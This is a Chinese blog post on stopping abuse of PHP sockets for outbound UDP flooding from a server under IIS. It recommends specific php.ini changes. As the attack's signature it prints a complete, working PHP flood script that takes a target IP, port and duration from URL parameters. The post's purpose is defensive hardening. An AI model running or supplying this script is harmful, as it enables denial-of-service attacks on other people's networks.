后退
刷新
前进
收藏
顶部
|
知道
黑匣子
富媒体
技术服务
防止用户利用PHP代码DOS造成占完网络带宽.(舒克)
程序猿
其它PHP
...
(shuke.2013-03-09 02:44)
防止用户利用PHP代码DOS造成占完网络带宽.(舒克)
特征:
用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
然后:
; ignore_user_abort = On
前面的;号要去掉
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
进度:100%
返回程序猿
解决织梦图集中上传图片时跳出302错误
JS日期动态选择器,ASP的一些方法,.(舒克)
图片新热点
网站自定字体,压缩字库让网页字体与图标
*.EOT是一种压缩字库,目的是解决在网页中嵌入特殊字体的难题。例如:网页前端开发人员在网页中使用...
查看详情
酷能微日志V1.1发布
酷能微日志V1.1发布一,PHP文件,无需数据库(日志生成TXT文件保存在DATA里)。3个文件搞...
查看详情
PHPCMS调用自动广告的问题
可以专门建立一个或者几个栏目,用于放置不同的广告。在后台建立栏目时,可以先填写广告栏目的ID,在加...
查看详情
js 图片带点幻灯播放效果,适合做BA
这个效果很适合BANNER,可以加连接,也可以做幻灯片。有图有真相:...
查看详情
【原创】phpcmsv9 关于站群同布
1.首先,建立一个发步点,填写FTP相关地址,为的是能够发步到你网站空间里。这样子你的网站就不要后...
查看详情
导航
模块
服务器应用
软件应用
设计师
程序猿
推广课程
制作
分享
原创
黑板报
运营与帮助
微平台
生活小百科
目录
HTML相关:
HTML/JS互转
HTML/UBB代码转换
JS/HTML格式化
CSS
CSS在线编辑器
Css压缩/格式化
HTML/JS/CSS过滤
JS组件
JS代码混淆
JS混淆加密压缩
正则在线测试
小功能
公众号编写
酷编辑
node
模块
工具箱
PinTuer
Ueditor
关于我们
ABOUT SHUKE
微博关注我们
点击关注
Copyright
coolneng.com
© Users from .
工具箱
矢量图标
▶
站内搜索
powered by shuke 2015-3-26 qq:896158959
首页
|
W3C
|
ME
Search
模块
服务器应用
软件应用
设计师
程序猿
推广课程
制作
分享
原创
黑板报
运营与帮助
微平台
生活小百科